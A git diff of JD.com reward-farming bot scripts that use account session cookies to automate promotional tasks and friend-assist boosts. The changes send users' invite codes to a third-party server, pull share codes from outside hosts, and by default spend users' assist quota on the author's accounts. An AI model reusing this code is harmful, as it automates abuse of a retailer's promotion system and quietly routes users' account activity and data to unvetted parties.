@Date: 2020-12-06 18:19:21 + * @Last Modified by: LXK9301 + * @Last Modified time: 2020-12-26 22:58:02 + */ +/* 东东工厂,不是京喜工厂 活动入口:京东APP首页-数码电器-东东工厂 免费产生的电量(10秒1个电量,500个电量满,5000秒到上限不生产,算起来是84分钟达到上限) @@ -12,17 +17,17 @@ Last Modified time: 2020-12-26 22:58:02 ============Quantumultx=============== [task_local] #东东工厂 -10 * * * * jd_jdfactory.js, tag=东东工厂, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_factory.png, enabled=true +10 * * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js, tag=东东工厂, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_factory.png, enabled=true ================Loon============== [Script] -cron "10 * * * *" script-path=jd_jdfactory.js,tag=东东工厂 +cron "10 * * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js,tag=东东工厂 ===============Surge================= -东东工厂 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=jd_jdfactory.js +东东工厂 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js ============小火箭========= -东东工厂 = type=cron,script-path=jd_jdfactory.js, cronexpr="10 * * * *", timeout=3600, enable=true +东东工厂 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js, cronexpr="10 * * * *", timeout=3600, enable=true */ const $ = new Env('东东工厂'); @@ -30,7 +35,7 @@ const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; +const randomCount = $.isNode() ? 0 : 0; //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = '', message; if ($.isNode()) { @@ -44,7 +49,8 @@ if ($.isNode()) { } let wantProduct = ``;//心仪商品名称 const JD_API_HOST = 'https://api.m.jd.com/client.action'; -const inviteCodes = ['']; +const inviteCodes = [] +let myInviteCode; !(async () => { await requireConfig(); if (!cookiesArr[0]) { @@ -291,6 +297,20 @@ async function doTask() { console.log(`${item.taskName}已做完`) } } + if (item.taskType === 9) { + //逛会场任务2 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await queryVkComponent(); + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } if (item.taskType === 10) { if (item.status === 1) { if (item.threeMealInfoVos[0].status === 1) { @@ -377,6 +397,7 @@ function jdfactory_collectScore(taskToken) { }) }) } + //给商品投入电量 function jdfactory_addEnergy() { return new Promise(resolve => { @@ -445,6 +466,7 @@ function jdfactory_getTaskDetail() { $.taskVos.map(item => { if (item.taskType === 14) { console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${item.assistTaskDetailVo.taskToken}\n`) + myInviteCode = item.assistTaskDetailVo.taskToken; } }) } @@ -617,7 +639,7 @@ function jdfactory_getHomeData() { function readShareCode() { console.log(`开始`) return new Promise(async resolve => { - $.get({url: `https://api.sharecode.ga/api/ddfactory/${randomCount}`, timeout: 10000}, (err, resp, data) => { + $.get({url: `http://www.helpu.cf/jdcodes/getcode.php?type=ddfactory&num=${randomCount}`, timeout: 10000}, (err, resp, data) => { try { if (err) { console.log(`${JSON.stringify(err)}`) @@ -638,6 +660,30 @@ function readShareCode() { resolve() }) } +//提交互助码 +function submitCode() { + return new Promise(async resolve => { + $.get({url: `http://www.helpu.cf/jdcodes/submit.php?code=${myInviteCode}&type=ddfactory`, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + //console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(15000); + resolve() +}) +} //格式化助力码 function shareCodesFormat() { return new Promise(async resolve => { @@ -650,12 +696,10 @@ function shareCodesFormat() { const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); $.newShareCodes = inviteCodes[tempIndex].split('@'); } - /* const readShareCodeRes = await readShareCode(); if (readShareCodeRes && readShareCodeRes.code === 200) { $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; } - */ console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) resolve(); }) @@ -673,8 +717,10 @@ function requireConfig() { $.shareCodesArr.push(shareCodes[item]) } }) + } else { + if ($.getdata('DDFACTORY_SHARECODES')) $.shareCodesArr = $.getdata('DDFACTORY_SHARECODES').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的东东工厂邀请码:${$.getdata('DDFACTORY_SHARECODES')}\n`); } - // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); resolve() }) @@ -770,4 +816,4 @@ function jsonParse(str) { } } // prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_jdzz.js b/jd_jdzz.js index fa10c2c..f3df412 100755 --- a/jd_jdzz.js +++ b/jd_jdzz.js @@ -25,7 +25,7 @@ const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; let helpAuthor=true; // 帮助作者 -const randomCount = $.isNode() ? 20 : 5; +const randomCount = $.isNode() ? 0 : 5; let jdNotify = true; // 是否关闭通知,false打开通知推送,true关闭通知推送 //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = '', message = '', allMessage = ''; @@ -42,7 +42,12 @@ const JD_API_HOST = 'https://api.m.jd.com/client.action'; const inviteCodes = [] let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); !(async () => { + $.tuanList = []; + $.authorTuanList = []; await requireConfig(); + // if (helpAuthor) await getAuthorShareCode('http://qr6pzoy01.hn-bkt.clouddn.com/jd_zz.json'); + if (helpAuthor) await getAuthorShareCode('https://raw.githubusercontent.com/gitupdate/updateTeam/master/shareCodes/jd_zz.json'); + if (helpAuthor) await getAuthorShareCode('https://raw.fastgit.org/zero205/updateTeam/master/shareCodes/jd_zz.json'); if (!cookiesArr[0]) { $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); return; @@ -75,6 +80,30 @@ let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * await notify.sendNotify($.name, allMessage); } } + console.log(`\n\n开始账号内部互助 【赚京豆(微信小程序)-瓜分京豆】活动(优先内部账号互助(需内部cookie数量大于${$.assistNum || 4}个),如有剩余助力次数则给作者lxk0301助力)\n`) + for (let i = 0; i < cookiesArr.length; i++) { + $.canHelp = true + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ($.canHelp && cookiesArr.length > $.assistNum || 4) { + console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动,优先内部账号互助`) + for (let j = 0; j < $.tuanList.length; ++j) { + console.log(`账号 ${$.UserName} 开始给 【${$.tuanList[j]['assistedPinEncrypted']}】助力`) + await helpFriendTuan($.tuanList[j]) + if(!$.canHelp) break + } + } + if ($.canHelp) { + console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动,如有剩余则给作者lxk0301助力`) + for (let j = 0; j < $.authorTuanList.length; ++j) { + console.log(`账号 ${$.UserName} 开始给作者lxk0301 ${$.authorTuanList[j]['assistedPinEncrypted']}助力`) + await helpFriendTuan($.authorTuanList[j]) + if(!$.canHelp) break + } + } + } + } })() .catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') @@ -89,6 +118,13 @@ async function jdWish() { $.hasOpen = false; $.assistStatus = 0; await getTaskList(true) + await getUserTuanInfo() + if (!$.tuan && $.assistStatus === 3 && $.canStartNewAssist) { + console.log(`准备再次开团`) + await openTuan() + if ($.hasOpen) await getUserTuanInfo() + } + if ($.tuan && $.tuan.hasOwnProperty('assistedPinEncrypted') && $.assistStatus !== 3) $.tuanList.push($.tuan) await helpFriends() await getUserInfo() @@ -109,7 +145,7 @@ async function jdWish() { } } await getTaskList(); - await showMsg(); + // await showMsg(); } function showMsg() { @@ -128,6 +164,143 @@ function showMsg() { resolve(); }) } +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + $.authorTuanList = $.authorTuanList.concat(JSON.parse(data)) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function helpFriendTuan(body) { + return new Promise(resolve => { + $.get(taskTuanUrl("vvipclub_distributeBean_assist", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + console.log('助力结果:助力成功\n') + } else { + if (data.resultCode === '9200008') console.log('助力结果:不能助力自己\n') + else if (data.resultCode === '9200011') console.log('助力结果:已经助力过\n') + else if (data.resultCode === '2400205') console.log('助力结果:团已满\n') + else if (data.resultCode === '2400203') {console.log('助力结果:助力次数已耗尽\n');$.canHelp = false} + else console.log(`助力结果:未知错误\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getUserTuanInfo() { + let body = {"paramData": {"channel": "FISSION_BEAN"}} + return new Promise(resolve => { + $.get(taskTuanUrl("distributeBeanActivityInfo", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + $.log(`\n\n当前【赚京豆(微信小程序)-瓜分京豆】能否再次开团: ${data.data.canStartNewAssist ? '可以' : '否'}`) + if (data.data.assistStatus === 1 && !data.data.canStartNewAssist) { + console.log(`已开团(未达上限),但团成员人未满\n\n`) + } else if (data.data.assistStatus === 3 && data.data.canStartNewAssist) { + console.log(`已开团(未达上限),团成员人已满\n\n`) + } else if (data.data.assistStatus === 3 && !data.data.canStartNewAssist) { + console.log(`今日开团已达上限,且当前团成员人已满\n\n`) + } + if (data.data && !data.data.canStartNewAssist) { + $.tuan = { + "activityIdEncrypted": data.data.id, + "assistStartRecordId": data.data.assistStartRecordId, + "assistedPinEncrypted": data.data.encPin, + "channel": "FISSION_BEAN" + } + } + $.tuanActId = data.data.id; + $.assistNum = data['data']['assistNum'] || 4; + $.assistStatus = data['data']['assistStatus']; + $.canStartNewAssist = data['data']['canStartNewAssist']; + } else { + $.tuan = true;//活动火爆 + console.log(`获取【赚京豆(微信小程序)-瓜分京豆】活动信息失败 ${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function openTuan() { + let body = {"activityIdEncrypted": $.tuanActId, "channel": "FISSION_BEAN"} + return new Promise(resolve => { + $.get(taskTuanUrl("vvipclub_distributeBean_startAssist", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + console.log(`【赚京豆(微信小程序)-瓜分京豆】开团成功`) + $.hasOpen = true + } else { + console.log(`\n开团失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} function getUserInfo() { return new Promise(resolve => { @@ -258,12 +431,10 @@ function shareCodesFormat() { const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); $.newShareCodes = inviteCodes[tempIndex].split('@'); } - /* const readShareCodeRes = await readShareCode(); if (readShareCodeRes && readShareCodeRes.code === 200) { $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; } - */ 